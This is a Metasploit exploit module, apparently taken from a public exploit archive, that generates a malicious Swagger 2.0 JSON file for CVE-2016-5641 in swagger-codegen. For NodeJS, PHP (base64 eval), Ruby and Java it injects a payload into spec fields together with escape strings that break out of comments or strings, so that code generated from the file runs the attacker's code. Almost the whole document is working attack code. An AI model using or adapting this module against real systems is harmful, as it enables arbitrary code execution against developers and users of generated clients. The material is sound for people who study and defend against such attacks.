JSON Swagger CodeGen Parameter Injector

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
#  
# Gems  
#  
require 'base64'  
  
#  
# Project  
#  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JSON Swagger CodeGen Parameter Injector',  
'Description' => %q{  
This module generates a Open API Specification 2.0 (Swagger) compliant  
json document that includes payload insertion points in parameters.  
  
In order for the payload to be executed, an attacker must convince  
someone to generate code from a specially modified swagger.json file  
within a vulnerable swagger-codgen appliance/container/api/service,  
and then to execute that generated code (or include it into software  
which will later be executed by another victim). By doing so, an  
attacker can execute arbitrary code as the victim user. The same  
vulnerability exists in the YAML format.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'ethersnowman <[email protected]>'  
],  
'References' =>  
[  
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],  
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]  
],  
'Platform' => %w{ nodejs php java ruby },  
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],  
'Targets' =>  
[  
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],  
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],  
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],  
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]  
],  
'DisclosureDate' => 'Jun 23 2016',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),  
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),  
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),  
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),  
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),  
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),  
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),  
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),  
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),  
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),  
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])  
], self.class)  
end  
  
def swagger  
%Q(  
{  
"swagger": "2.0",  
"info": {  
"description": "#{datastore['INFO_DESCRIPTION']}",  
"version": "#{datastore['INFO_VERSION']}",  
"title": "#{datastore['INFO_TITLE']}"  
},  
"schemes": [  
"#{datastore['SWAGGER_SCHEME']}"  
],  
"host": "#{datastore['SWAGGER_HOST']}",  
"basePath": "#{datastore['BASE_PATH']}",  
"produces": [  
"application/json"  
],  
"consumes": [  
"application/json"  
],  
"paths": {  
"#{datastore['PATH']}": {  
"get": {  
"description": "#{datastore['PATH_DESCRIPTION']}",  
"responses": {  
"200": {  
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",  
"schema": {  
"$ref": "#/definitions/d"  
}  
}  
}  
}  
}  
},  
"definitions": {  
"d": {  
"type": "object",  
"description": "#{datastore['DEFINITION_DESCRIPTION']}",  
"properties": {  
"id": {  
"type": "integer",  
"format": "int64"  
}  
}  
}  
}  
}  
)  
end  
  
def exploit  
case payload.arch[0]  
when 'nodejs'  
payload_loc = 'PATH'  
payload_prefix = "/a');};};return exports;}));"  
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"  
wrapped_payload = payload_prefix + payload.encoded + payload_suffix  
when 'php'  
payload_loc = 'INFO_DESCRIPTION'  
payload_prefix = "*/ namespace foobar; eval(base64_decode('"  
payload_suffix = "')); /*"  
wrapped_payload = payload_prefix +  
Base64.strict_encode64(payload.encoded) +  
payload_suffix  
when 'ruby'  
payload_loc = 'INFO_TITLE'  
payload_prefix = "=end "  
payload_suffix = "=begin "  
wrapped_payload = payload_prefix + payload.encoded + payload_suffix  
when 'java'  
payload_loc = 'PATH'  
payload_prefix = %q{a\\\"; "}  
p = payload.encoded.gsub(/<%@page import="/, 'import ')  
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')  
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')  
wrapped_payload = payload_prefix + p  
else  
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])  
end  
  
datastore[payload_loc] = wrapped_payload  
  
print_status swagger  
file_create swagger  
end  
end  
`